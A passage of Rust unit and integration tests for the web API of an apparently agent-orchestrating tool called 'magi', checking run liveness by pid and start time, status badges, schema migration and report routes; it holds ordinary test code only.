20389            rows[pr_run.id.as_str()]["unmerged_by_design"],
20390            false,
20391            "a Ready reached by a closed pull request is a different case"
20392        );
20393
20394        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20395        assert_eq!(none_detail["status"], "ready");
20396        assert_eq!(none_detail["unmerged_by_design"], true);
20397
20398        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20399        assert_eq!(pr_detail["unmerged_by_design"], false);
20400    }
20401
20402    /// `RunState::active` is only ever cleared by whoever populated it, so the
20403    /// detail route also has to say whether a daemon is actually still
20404    /// driving this run right now — otherwise a seat from a killed process's
20405    /// last wave would read as live forever.
20406    #[tokio::test]
20407    async fn run_core_survives_unavailable_related_stores() {
20408        let home = TempDir::new().unwrap();
20409        let ui = delta_test_ui(home.path());
20410        let state = RunState::new(
20411            PathBuf::from("/repo/magi"),
20412            "main".into(),
20413            "0123456789abcdef".into(),
20414            "Useful core instructions".into(),
20415            Config::default(),
20416        );
20417        let dir = ui.runs.join(&state.id);
20418        std::fs::create_dir_all(&dir).unwrap();
20419        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20420        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20421        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20422        let core = run_core(State(ui.clone()), Path(state.id.clone()))
20423            .await
20424            .unwrap()
20425            .0;
20426        assert_eq!(core.state.instruction, state.instruction);
20427        assert_eq!(core.state.updated_at, state.updated_at);
20428        assert!(core.task.is_none());
20429        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
20430    }
20431
20432    #[tokio::test]
20433    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
20434        let f = Fixture::start().await;
20435        // Matches `write_daemon`'s hard-coded `current.run`, so the second
20436        // half of this test can claim the daemon is working on it without a
20437        // second helper.
20438        let id = "20260902-140502-bbbb";
20439        let mut state = RunState::new(
20440            PathBuf::from("/repo/magi"),
20441            "main".to_owned(),
20442            "0123456789abcdef".to_owned(),
20443            "Add a web UI".to_owned(),
20444            Config::default(),
20445        );
20446        state.id = id.to_owned();
20447        state.status = RunStatus::Judging;
20448        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
20449        let dir = f.runs().join(id);
20450        std::fs::create_dir_all(&dir).expect("run dir");
20451        std::fs::write(
20452            dir.join("run.json"),
20453            serde_json::to_string_pretty(&state).expect("serialize run"),
20454        )
20455        .expect("write run.json");
20456
20457        // No daemon.json at all, and no `driver_pid` recorded either (this
20458        // state was written directly, never through `execute()`): there is
20459        // nothing to confirm either way, so the route must say `"unknown"` —
20460        // never `"dead"`, which is exactly the false diagnosis a manual `magi
20461        // run` used to get from this route before `driver_pid` existed.
20462        let cold = f.get(&format!("/api/runs/{id}")).await.json();
20463        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
20464        assert_eq!(cold["live"], "unknown", "{cold}");
20465
20466        // A fresh heartbeat naming exactly this run: the same entry now reads
20467        // as confirmed, not merely recorded.
20468        write_daemon(f.home.path(), Timestamp::now());
20469        let warm = f.get(&format!("/api/runs/{id}")).await.json();
20470        assert_eq!(warm["live"], "live", "{warm}");
20471    }
20472
20473    #[test]
20474    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
20475        let home = tempfile::tempdir().expect("temp home");
20476        let runs = home.path().join("runs");
20477        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
20478            let mut state = RunState::new(
20479                PathBuf::from("/repo/magi"),
20480                "main".to_owned(),
20481                "0123456789abcdef".to_owned(),
20482                "Generated review context, not authored task criteria".to_owned(),
20483                Config::default(),
20484            );
20485            state.origin = origin;
20486            state.status = RunStatus::Blocked;
20487            // Earlier migrations must not infer these facts again.
20488            state.driver_exited = false;
20489            state.gate_ran = true;
20490            let expected = serde_json::to_value(&state).expect("serialize current state");
20491            let mut legacy = expected.clone();
20492            legacy["schema"] = serde_json::json!(13);
20493            legacy.as_object_mut().unwrap().remove("task_instruction");
20494            let dir = runs.join(&state.id);
20495            std::fs::create_dir_all(&dir).expect("run dir");
20496            let path = dir.join("run.json");
20497            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
20498            std::fs::write(&path, &body).expect("write legacy run");
20499
20500            for loaded in [
20501                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
20502                read_run(&runs, &state.id).expect("web migration"),
20503            ] {
20504                assert_eq!(loaded.schema, crate::run::SCHEMA);
20505                assert!(loaded.task_instruction.is_none());
20506                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
20507            }
20508            assert_eq!(runs_unreadable(&runs), 0);
20509            assert_eq!(std::fs::read(&path).unwrap(), body);
20510        }
20511    }
20512
20513    /// Where a run came from is shown, and a run written before origins were
20514    /// recorded (schema 12, no `origin` key) stays readable and says so.
20515    #[tokio::test]
20516    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
20517        let f = Fixture::start().await;
20518        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
20519            let mut state = RunState::new(
20520                PathBuf::from("/repo/magi"),
20521                "main".to_owned(),
20522                "0123456789abcdef".to_owned(),
20523                "Add a web UI".to_owned(),
20524                Config::default(),
20525            );
20526            state.id = id.to_owned();
20527            state.origin = origin;
20528            let mut value = serde_json::to_value(&state).expect("serialize run");
20529            if let Some(schema) = schema {
20530                value["schema"] = serde_json::json!(schema);
20531                value.as_object_mut().unwrap().remove("origin");
20532            }
20533            let dir = f.runs().join(id);
20534            std::fs::create_dir_all(&dir).expect("run dir");
20535            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
20536        };
20537        write(
20538            "20260930-092817-ec34",
20539            Some(crate::run::Origin::from_agent_env(
20540                Some(("4a7b".to_owned(), "chat".to_owned())),
20541                None,
20542            )),
20543            None,
20544        );
20545        write("20260930-092817-0ld1", None, Some(12));
20546
20547        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
20548        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
20549        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
20550
20551        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
20552        assert_eq!(
20553            old["origin_label"], "origin unknown (started before origins were recorded)",
20554            "{old}"
20555        );
20556        assert!(old["origin"].is_null(), "{old}");
20557
20558        let list = f.get("/api/runs").await.json();
20559        let labels: Vec<_> = list
20560            .as_array()
20561            .unwrap()
20562            .iter()
20563            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
20564            .collect();
20565        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
20566    }
20567
20568    #[tokio::test]
20569    async fn run_progress_observation_exposes_activity_without_control_evidence() {
20570        let f = Fixture::start().await;
20571        let mut state = RunState::new(
20572            PathBuf::from("/repo"),
20573            "main".into(),
20574            "abc".into(),
20575            "task".into(),
20576            Config::default(),
20577        );
20578        state.status = RunStatus::Implementing;
20579        state.seat_started(
20580            "implement",
20581            "implement-A",
20582            std::time::Duration::from_secs(60),
20583            0,
20584        );
20585        state.save_under(f.home.path()).unwrap();
20586        let observed = f
20587            .get(&format!("/api/runs/{}/progress", state.id))
20588            .await
20589            .json();
20590        assert_eq!(observed["id"], state.id);
20591        assert!(observed["observed_at"].is_string());
20592        assert_eq!(observed["updated_at"], state.updated_at.to_string());
20593        assert!(observed["progress"]["activity"].is_string());
20594        for field in [
20595            "config",
20596            "candidates",
20597            "land_approval",
20598            "task",
20599            "waiting",
20600            "done",
20601        ] {
20602            assert!(
20603                observed.get(field).is_none(),
20604                "progress must not expose control evidence: {field}"
20605            );
20606        }
20607    }
20608
20609    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
20610    /// review` claims no daemon at all, so before this field existed the
20611    /// route above read it as `"dead"` — indistinguishable from a run a
20612    /// killed process abandoned — the whole time it was genuinely still
20613    /// answering. With a live pid recorded, it must read `"live"` even
20614    /// though no daemon claims it.
20615    #[tokio::test]
20616    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
20617        let f = Fixture::start().await;
20618        let id = "20260922-090000-cccc";
20619        let mut state = RunState::new(
20620            PathBuf::from("/repo/magi"),
20621            "main".to_owned(),
20622            "0123456789abcdef".to_owned(),
20623            "Review only".to_owned(),
20624            Config::default(),
20625        );
20626        state.id = id.to_owned();
20627        state.status = RunStatus::Reviewing;
20628        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20629        // This test process's own pid: guaranteed alive, and never needs a
20630        // real daemon or a second process to prove it. The matching start-time
20631        // marker is what `liveness` now requires alongside a live pid — see
20632        // `RunState::driver_started_at`'s own doc for why the pid alone is
20633        // not enough.
20634        state.driver_pid = Some(std::process::id());
20635        state.driver_started_at = Some(
20636            crate::proc::process_started_at(std::process::id())
20637                .expect("this test process's own start time must be queryable"),
20638        );
20639        let dir = f.runs().join(id);
20640        std::fs::create_dir_all(&dir).expect("run dir");
20641        std::fs::write(
20642            dir.join("run.json"),
20643            serde_json::to_string_pretty(&state).expect("serialize run"),
20644        )
20645        .expect("write run.json");
20646
20647        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20648        assert_eq!(detail["live"], "live", "{detail}");
20649    }
20650
20651    /// A killed manual run's pid can be handed to a wholly unrelated later
20652    /// process — a live query on `driver_pid` alone would read this as
20653    /// `"live"`, exactly the false positive `driver_started_at` exists to
20654    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20655    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20656    #[tokio::test]
20657    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20658        let f = Fixture::start().await;
20659        let id = "20260922-090100-dddd";
20660        let mut state = RunState::new(
20661            PathBuf::from("/repo/magi"),
20662            "main".to_owned(),
20663            "0123456789abcdef".to_owned(),
20664            "Review only".to_owned(),
20665            Config::default(),
20666        );
20667        state.id = id.to_owned();
20668        state.status = RunStatus::Reviewing;
20669        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20670        // This test process's own pid really is alive, but the marker
20671        // recorded here does not match what it actually started at —
20672        // standing in for the pid having since been reused by a different
20673        // process than the one that wrote `run.json`.
20674        state.driver_pid = Some(std::process::id());
20675        state.driver_started_at = Some("1".to_owned());
20676        let dir = f.runs().join(id);
20677        std::fs::create_dir_all(&dir).expect("run dir");
20678        std::fs::write(
20679            dir.join("run.json"),
20680            serde_json::to_string_pretty(&state).expect("serialize run"),
20681        )
20682        .expect("write run.json");
20683
20684        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20685        assert_eq!(detail["live"], "dead", "{detail}");
20686    }
20687
20688    /// The deck's competition list is normally the first place an operator
20689    /// sees an old run. It must carry the same process verdict as detail, or
20690    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20691    #[test]
20692    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20693        let mk = |id: &str, pid: Option<u32>| {
20694            let mut s = RunState::new(
20695                PathBuf::from("/repo/magi"),
20696                "main".to_owned(),
20697                "0123456789abcdef".to_owned(),
20698                "Add a web UI".to_owned(),
20699                Config::default(),
20700            );
20701            s.id = id.to_owned();
20702            s.driver_pid = pid;
20703            s.driver_started_at = Some("1790000000".to_owned());
20704            s
20705        };
20706        let states = vec![
20707            mk("20260902-140502-aaaa", Some(77)),
20708            mk("20260902-140502-bbbb", Some(77)),
20709            mk("20260902-140502-cccc", Some(77)),
20710            mk("20260902-140502-dddd", None),
20711        ];
20712        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20713        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20714        let sup: HashMap<String, String> = [(
20715            "20260902-140502-aaaa".to_owned(),
20716            "20260902-140502-cccc".to_owned(),
20717        )]
20718        .into();
20719
20720        let status_calls = std::cell::Cell::new(0);
20721        let identity_calls = std::cell::Cell::new(0);
20722        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20723            |_| {
20724                status_calls.set(status_calls.get() + 1);
20725                Some(true)
20726            },
20727            |_| {
20728                identity_calls.set(identity_calls.get() + 1);
20729                Some("1790000000".to_owned())
20730            },
20731        ));
20732        let rows = summarize(
20733            states,
20734            &open,
20735            &claimed,
20736            &sup,
20737            |p| probe.borrow_mut().status(p),
20738            |p| probe.borrow_mut().started_at(p),
20739        );
20740
20741        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20742        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20743        assert_eq!(rows.len(), 4);
20744        assert!(!rows[0].waiting && rows[1].waiting);
20745        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20746        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20747        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20748        assert_eq!(rows[1].superseded_by, None);
20749    }
20750
20751    #[test]
20752    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20753        let mut state = RunState::new(
20754            PathBuf::from("/repo/magi"),
20755            "main".to_owned(),
20756            "0123456789abcdef".to_owned(),
20757            "Review only".to_owned(),
20758            Config::default(),
20759        );
20760        state.id = "20260922-090200-dead".to_owned();
20761        state.status = RunStatus::Reviewing;
20762        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20763            .expect("serialize list row");
20764        assert_eq!(row["status"], "reviewing");
20765        assert_eq!(row["display_status"], "stale");
20766        assert_eq!(row["live"], "dead", "{row}");
20767        assert!(!row["done"].as_bool().unwrap());
20768    }
20769
20770    #[test]
20771    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20772        use crate::run::Liveness::{Dead, Live, Unknown};
20773        let mut state = RunState::new(
20774            PathBuf::from("/repo/magi"),
20775            "main".to_owned(),
20776            "abc".to_owned(),
20777            "Review only".to_owned(),
20778            Config::default(),
20779        );
20780        for (status, parked, node, waiting, live, expected) in [
20781            (
20782                RunStatus::Judging,
20783                true,
20784                "github-text",
20785                false,
20786                Dead,
20787                "parked",
20788            ),
20789            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20790            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20791            (
20792                RunStatus::Judging,
20793                true,
20794                "github-text",
20795                true,
20796                Dead,
20797                "waiting",
20798            ),
20799            (
20800                RunStatus::Judging,
20801                false,
20802                "github-text",
20803                true,
20804                Dead,
20805                "waiting",
20806            ),
20807            (
20808                RunStatus::Judging,
20809                false,
20810                "github-text",
20811                false,
20812                Dead,
20813                "stale",
20814            ),
20815            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20816            (RunStatus::Judging, true, "park", false, Live, "judging"),
20817            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20818            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20819            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20820            (
20821                RunStatus::Blocked,
20822                true,
20823                "github-text",
20824                true,
20825                Dead,
20826                "waiting",
20827            ),
20828        ] {
20829            state.status = status;
20830            state.parked = parked;
20831            state.events.clear();
20832            state.event(
20833                "park",
20834                "an earlier park does not determine the latest state",
20835            );
20836            state.event(node, "message is not used for classification");
20837            let summary = RunSummary::of(&state, waiting, live);
20838            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20839            assert_eq!(
20840                summary.display_status, expected,
20841                "{status:?}/{node}/{live:?}"
20842            );
20843            assert_eq!(detail.display_status, summary.display_status);
20844            assert_eq!(detail.waiting, summary.waiting);
20845        }
20846        state.status = RunStatus::Judging;
20847        state.parked = false;
20848        state.events.clear();
20849        assert_eq!(run_display_status(&state, false, Dead), "stale");
20850    }
20851
20852    #[test]
20853    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20854        use crate::run::Liveness::{Dead, Live, Unknown};
20855        let mut state = RunState::new(
20856            PathBuf::from("/repo/magi"),
20857            "main".to_owned(),
20858            "abc".to_owned(),
20859            "Badge".to_owned(),
20860            Config::default(),
20861        );
20862        for (status, waiting, live, superseded, expected) in [
20863            (RunStatus::Gating, false, Dead, false, "stale"),
20864            (RunStatus::Gating, false, Dead, true, "superseded"),
20865            (RunStatus::Gating, false, Unknown, true, "superseded"),
20866            (RunStatus::Gating, true, Dead, true, "superseded"),
20867            (RunStatus::Gating, true, Dead, false, "waiting"),
20868            (RunStatus::Gating, false, Unknown, false, "gating"),
20869            (RunStatus::Gating, false, Live, true, "gating"),
20870            (RunStatus::Gating, true, Live, true, "waiting"),
20871            (RunStatus::Merged, false, Dead, true, "merged"),
20872            (RunStatus::Blocked, false, Dead, true, "blocked"),
20873        ] {
20874            state.status = status;
20875            let display = run_display_status(&state, waiting, live);
20876            assert_eq!(
20877                run_badge_status(&state, &display, live, superseded),
20878                expected,
20879                "{status:?}/{live:?}/superseded={superseded}"
20880            );
20881        }
20882    }
20883
20884    #[test]
20885    fn summarize_and_detail_expose_badge_status() {
20886        use crate::run::Liveness::Dead;
20887        let mut state = RunState::new(
20888            PathBuf::from("/repo/magi"),
20889            "main".to_owned(),
20890            "abc".to_owned(),
20891            "Badge".to_owned(),
20892            Config::default(),
20893        );
20894        state.status = RunStatus::Gating;
20895        let none = HashSet::new();
20896        let id = state.id.clone();
20897        let mut by = HashMap::new();
20898        let rows = summarize(
20899            [state.clone()],
20900            &none,
20901            &none,
20902            &by,
20903            |_| Some(false),
20904            |_| None,
20905        );
20906        // No driver recorded: liveness is not provably dead, so the node stays.
20907        assert_eq!(rows[0].badge_status, rows[0].display_status);
20908        by.insert(id, "20260901-000000-913b".to_owned());
20909        let detail = RunDetailView::of(
20910            state.clone(),
20911            false,
20912            Dead,
20913            Some("913b".to_owned()),
20914            None,
20915            None,
20916        );
20917        assert_eq!(detail.badge_status, "superseded");
20918        let json = serde_json::to_value(&detail).unwrap();
20919        assert_eq!(json["badge_status"], "superseded");
20920        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20921        assert_eq!(detail.badge_status, "stale");
20922    }
20923
20924    #[tokio::test]
20925    async fn run_display_status_routes_share_the_open_question_store() {
20926        let f = Fixture::start().await;
20927        let id = "20260922-090200-abcd";
20928        write_run(&f.runs(), id, RunStatus::Judging);
20929        let mut state = read_run(&f.runs(), id).unwrap();
20930        state.parked = true;
20931        state.driver_exited = true;
20932        state.event("github-text", "waiting for the owner");
20933        state.save_under(f.home.path()).unwrap();
20934        let mut task = Task::new(
20935            "resumed task".to_owned(),
20936            "do it".to_owned(),
20937            PathBuf::from("/repo"),
20938            Source::Human,
20939        );
20940        task.runs = vec![id.to_owned(), id.to_owned()];
20941        f.queue().put(&mut task).unwrap();
20942        let store = f.questions();
20943        let mut q = Question::new(
20944            id.to_owned(),
20945            "github-text".to_owned(),
20946            "owner".to_owned(),
20947            "Approve the text?".to_owned(),
20948            String::new(),
20949            Vec::new(),
20950        );
20951        store.put(&mut q).unwrap();
20952        for expected in ["waiting", "parked"] {
20953            let list = f.get("/api/runs").await.json();
20954            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20955            assert_eq!(list[0]["display_status"], expected);
20956            assert_eq!(detail["display_status"], expected);
20957            assert_eq!(detail["waiting"], list[0]["waiting"]);
20958            assert_eq!(list[0]["badge_status"], expected);
20959            assert_eq!(detail["badge_status"], expected);
20960            assert!(list[0]["superseded_by"].is_null());
20961            assert!(detail["superseded_by"].is_null());
20962            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20963            let history = task_detail["history"].as_array().unwrap();
20964            assert_eq!(history.len(), 2);
20965            assert!(history[0]["badge"].is_null());
20966            assert_eq!(history[1]["badge"], expected);
20967            q.status = ask::QuestionStatus::Answered;
20968            store.put(&mut q).unwrap();
20969        }
20970    }
20971
20972    #[tokio::test]
20973    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20974        let f = Fixture::start().await;
20975        let id = "20260922-090200-abcd";
20976        write_run(&f.runs(), id, RunStatus::Judging);
20977        let mut state = read_run(&f.runs(), id).unwrap();
20978        state.parked = true;
20979        state.driver_exited = true;
20980        state.event("park", "stopped at a node boundary");
20981        state.save_under(f.home.path()).unwrap();
20982
20983        for expected in ["parked", "stale"] {
20984            let list = f.get("/api/runs").await.json();
20985            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20986            assert_eq!(list[0]["live"], "dead");
20987            assert_eq!(list[0]["display_status"], expected);
20988            assert_eq!(detail["display_status"], expected);
20989            // Model a driver claim followed by a crash before the next event:
20990            // the persisted flag changes, but the last event is still park.
20991            state.parked = false;
20992            state.save_under(f.home.path()).unwrap();
20993        }
20994    }
20995
20996    #[tokio::test]
20997    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20998        let f = Fixture::start().await;
20999        for id in [
21000            "20260902-140501-aaaa",
21001            "20260902-140502-bbbb",
21002            "20260902-140503-cccc",
21003        ] {
21004            write_run(&f.runs(), id, RunStatus::Merged);
21005        }
21006
21007        let all = f.get("/api/runs").await.json();
21008        let capped = f.get("/api/runs?limit=2").await.json();
21009
21010        assert_eq!(all[0]["id"], "20260902-140503-cccc");
21011        assert_eq!(all.as_array().map(Vec::len), Some(3));
21012        assert_eq!(capped.as_array().map(Vec::len), Some(2));
21013        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
21014    }
21015
21016    #[tokio::test]
21017    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
21018        let f = Fixture::start().await;
21019        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
21020
21021        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
21022
21023        assert_eq!(res.status, 200);
21024        assert!(
21025            res.headers
21026                .contains("content-type: text/plain; charset=utf-8"),
21027            "a browser must render it, not download it: {}",
21028            res.headers
21029        );
21030        // The assertion is on content, not on the absence of escapes: colour
21031        // is a process-global that `serve` turns off at startup, and another
21032        // test in this binary may own it while this one runs.
21033        assert!(
21034            res.body.contains("20260902-140501-a1b2"),
21035            "the report is about the run that was asked for: {}",
21036            res.body
21037        );
21038    }
21039
21040    #[tokio::test]
21041    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
21042        // The view names the run's state directory, which reads the process-global home.
21043        crate::run::pin_test_home();
21044        let f = Fixture::start().await;
21045        let id = "20260902-140501-a1b2";
21046        write_run(&f.runs(), id, RunStatus::Stalled);
21047        // A stalled panel and one review round, written through the real
21048        // state file so the route reads what a run really leaves behind.
21049        let path = f.runs().join(id).join("run.json");
21050        let mut v: serde_json::Value =
21051            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21052        v["tally"] = serde_json::json!({
21053            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21054            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21055            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21056            "met_quorum": false, "rankings": 1
21057        });
21058        v["reviews"] = serde_json::json!([{
21059            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
21060            "e2e_deferred": true,
21061            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
21062                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
21063            ]}]
21064        }]);
21065        std::fs::write(&path, v.to_string()).unwrap();
21066        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
21067        std::fs::write(
21068            f.runs().join("20260902-140502-dead").join("run.json"),
21069            "{not json",
21070        )
21071        .unwrap();
21072
21073        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21074
21075        assert_eq!(res.status, 200, "{}", res.body);
21076        assert!(res.headers.contains("content-type: application/json"));
21077        let j = res.json();
21078        assert_eq!(j["schema"], 1);
21079        assert_eq!(j["header"]["id"], id);
21080        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
21081        let kinds: Vec<&str> = j["sections"]
21082            .as_array()
21083            .unwrap()
21084            .iter()
21085            .map(|s| s["kind"].as_str().unwrap())
21086            .collect();
21087        assert_eq!(kinds, ["candidates", "tally", "review"]);
21088        let tally = &j["sections"][1]["tally"];
21089        assert_eq!(
21090            (tally["decided"].clone(), tally["provisional"].clone()),
21091            (false.into(), true.into())
21092        );
21093        let round = &j["sections"][2]["rounds"][0];
21094        assert_eq!(round["e2e"]["state"], "deferred");
21095        assert_eq!(round["findings"][0]["severity"], "major");
21096        assert_eq!(round["findings"][0]["blocking"], true);
21097        assert_eq!(round["findings"][0]["state"], "open");
21098
21099        // The raw route keeps working beside it.
21100        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
21101
21102        // An unreadable run is an error, as on the text route, and is counted.
21103        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
21104        assert_ne!(bad.status, 200, "{}", bad.body);
21105        assert_eq!(
21106            bad.status,
21107            f.get("/api/runs/20260902-140502-dead/report").await.status
21108        );
21109        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
21110        assert_eq!(
21111            f.get("/api/runs/20260902-999999-ffff/report.json")
21112                .await
21113                .status,
21114            404
21115        );
21116    }
21117
21118    #[tokio::test]
21119    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
21120        crate::run::pin_test_home();
21121        let f = Fixture::start().await;
21122        let id = "20260902-140501-a1b2";
21123        write_run(&f.runs(), id, RunStatus::Blocked);
21124        let path = f.runs().join(id).join("run.json");
21125        let mut v: serde_json::Value =
21126            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21127        v["sync_only_passes"] = serde_json::json!([{
21128            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
21129            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
21130            "head_before": "before-sha", "head_after": "after-sha",
21131            "result": "synchronized", "verification_allowed": false
21132        }]);
21133        std::fs::write(&path, v.to_string()).unwrap();
21134
21135        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21136        assert_eq!(res.status, 200, "{}", res.body);
21137        let json = res.json();
21138        let section = json["sections"]
21139            .as_array()
21140            .unwrap()
21141            .iter()
21142            .find(|s| s["key"] == "sync_only")
21143            .expect("base-only report section");
21144        let line = section["lines"][0].as_str().unwrap();
21145        assert!(line.contains("origin/main @ base-sha"), "{line}");
21146        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
21147        assert!(line.contains("verification was not allowed"), "{line}");
21148    }
21149
21150    #[tokio::test]
21151    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
21152        crate::run::pin_test_home();
21153        let f = Fixture::start().await;
21154        let id = "20260902-140505-facts";
21155        write_run(&f.runs(), id, RunStatus::Stalled);
21156        let path = f.runs().join(id).join("run.json");
21157        let mut v: serde_json::Value =
21158            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21159        v["candidates"] = serde_json::json!([{
21160            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
21161            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
21162        }]);
21163        v["tally"] = serde_json::json!({
21164            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21165            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
21166            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
21167            "met_quorum": false, "rankings": 1
21168        });
21169        v["quota"] = serde_json::json!([
21170            {
21171                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
21172                "agent": "signed-out", "cause": "authentication"
21173            },
21174            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
21175        ]);
21176        v["startup"] = serde_json::json!({
21177            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
21178            "failure": "fetch refused\ncredentials expired"
21179        });
21180        v["recovery"] = serde_json::json!({
21181            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
21182            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
21183            "repair": {"started": {"before": "abcdef012345"}}
21184        });
21185        v["reviews"] = serde_json::json!([{
21186            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
21187            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
21188            "vote_split": true, "verdict": "approve_with_findings",
21189            "e2e": [{
21190                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
21191            }],
21192            "reviews": [
21193                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
21194                 "summary": "Initial **concern**.\n\nPlease inspect.",
21195                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
21196                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
21197            ],
21198            "reconsideration": [{
21199                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
21200                "reason": "The blocker is resolved.\nOne minor issue remains."
21201            }]
21202        }]);
21203        v["merge_repairs"] = serde_json::json!([{
21204            "question": "question-42", "head": "abcdef012345",
21205            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
21206            "gate": [], "phase": "Failed",
21207            "failure": "owner decision required\ninspect updated results"
21208        }]);
21209        v["bump_decision_attempts"] = serde_json::json!([
21210            {"agent": "first", "outcome": "unavailable"},
21211            {"agent": "second", "outcome": "patch\naccepted"}
21212        ]);
21213        v["release_bump"] = serde_json::json!({
21214            "version": "1.2.3", "local": true,
21215            "problem": "publish failed\nregistry refused",
21216            "release": {
21217                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
21218                "failed": "registry refused\nawait owner approval",
21219                "log": [{
21220                    "name": "cargo publish", "code": 1,
21221                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
21222                }]
21223            }
21224        });
21225        std::fs::write(&path, v.to_string()).unwrap();
21226
21227        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
